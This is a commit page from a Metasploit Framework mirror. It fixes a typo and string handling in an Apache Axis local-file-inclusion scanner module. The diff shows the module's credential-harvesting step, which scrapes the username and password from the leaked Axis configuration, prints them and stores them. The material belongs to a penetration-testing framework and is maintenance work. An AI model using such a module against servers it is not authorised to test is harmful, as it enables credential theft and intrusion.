dnrops
/
metasploit-framework
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity

Fixes typo and a to_s problem in AXIS LFI module. 

git-svn-id: file:///home/svn/framework3/trunk@9572 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
Tod Beardsley 2010-06-21 20:42:41 +00:00
parent 752905a777
commit 1874ce3ac3
1 changed files with 6 additions and 4 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

10
modules/auxiliary/scanner/http/axis_local_file_include.rb
View File

@ -91,16 +91,18 @@ class Metasploit3 < Msf::Auxiliary
if (res and res.code == 200)
if res.body.to_s.match(/axisconfig/)
username = res.body.to_s.scan(/parameter\sname=\"userName\">([^\s]+)</)
password = res.body.to_s.scan(/parameter\sname=\"password\">([^\s]+)</)
res.body.scan(/parameter\sname=\"userName\">([^\s]+)</)
username = $1
res.body.scan(/parameter\sname=\"password\">([^\s]+)</)
password = $1
print_good("#{target_url} - Apache Axis - Credentials Found Username: #{username} - Password: #{password}")
print_good("#{target_url} - Apache Axis - Credentials Found Username: '#{username}' - Password: '#{password}'")
report_auth_info(
:host => rhost,
:proto => 'axis',
:user => username,
:pass => passowrd,
:pass => password,
:target_host => rhost,
:target_port => rport,
:vhost => vhost,